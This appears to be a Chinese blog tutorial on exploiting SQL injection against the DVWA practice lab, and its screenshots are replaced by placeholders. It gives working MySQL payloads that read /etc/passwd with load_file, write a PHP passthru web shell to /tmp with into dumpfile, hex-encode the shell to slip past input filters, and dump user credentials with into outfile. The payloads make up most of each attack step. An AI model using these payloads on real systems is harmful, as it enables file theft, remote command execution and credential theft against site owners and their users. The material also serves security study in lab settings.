SQL注入学习二

来源:互联网 发布:2017安全知识网络竞赛 编辑:程序博客网 时间:2024/06/05 03:34

本次记录:SQL注入除了可以拖库,还可以做什么。SQL注入的利用方法

1. 读取文件

利用dbms中的load_file() 函数可以读取系统中的文件。
利用burp suite进行注入。
设置好代理之后,使用burp suite进行拦截,Ctrl+R将request发送到Repeater中。
这里写图片描述
这里的id就是我们要注入的参数。
Value中输入
' union select null, load_file('/etc/passwd') --
可以看到读取到了/etc/passwd的内容
这里写图片描述

2. 写入文件

主要利用into dumpfile 将要传的文件dump到本地。
在Value值中输入(into dumpfile后没有指定路径):
' union select null, "<?php passthru($_GET['cmd']);?>" into dumpfile "a.php"
这里写图片描述
文件上传成功,由于我们没有指定dump到的文件路径,因此我们远程登录到目标主机,查找一下文件位置。
这里写图片描述
自动保存到了/var/lib/mysql/dvwa/a.php ,然而使用msfadmin的权限是无法访问dvwa文件夹的,因为dvwa的所有者和所属组均为mysql,因此即使我们将文件写入到了目标服务器,仍然无法利用。
这里写图片描述
基于这种情况,一般将文件写入到/tmp 目录下。因为这个目录所有用户均具有读写权限。
这里写图片描述
' union select null, "<?php passthru($_GET['cmd']);?>" into dumpfile "/tmp/a.php"
这里写图片描述
上传成功。
此时我们可以利用系统的文件包含漏洞:
这里写图片描述
可以成功执行命令。
这里写图片描述
这里又出现了一个问题,如果服务器对我们的输入进行了过滤,比如过滤了< 将会导致我们的注入无效,这是用需要利用编码,绕过后台服务器的过滤。本次介绍使用二进制编码。
将一句话木马存入c.php
<?php passthru($_GET['cmd']);?>
这里写图片描述
然后进行编码
cat c.php | xxd -ps | tr -d '\n'
这里写图片描述


  • xxd命令:对于标准输入或者给定的文件,显示其16进制的内容。也可以反过来进行转换。
  • tr命令:可以对来自标准输入的字符进行替换、压缩和删除。它可以将一组字符变成另一组字符,经常用来编写优美的单行命令,作用很强大。

复制十六进制的内容到burp suite中进行注入,同样可以注入。
' union select null, (0x3c3f7068....) into dumpfile "/tmp/c.php" --
这里写图片描述

3. 保存下载数据库

主要利用into outfile 将从数据库中查询到的结果输出到本地。同样利用文件包含漏洞。
' union select null, concat(user, 0x3a, password) from users into outfile "/tmp/a.db"
这里写图片描述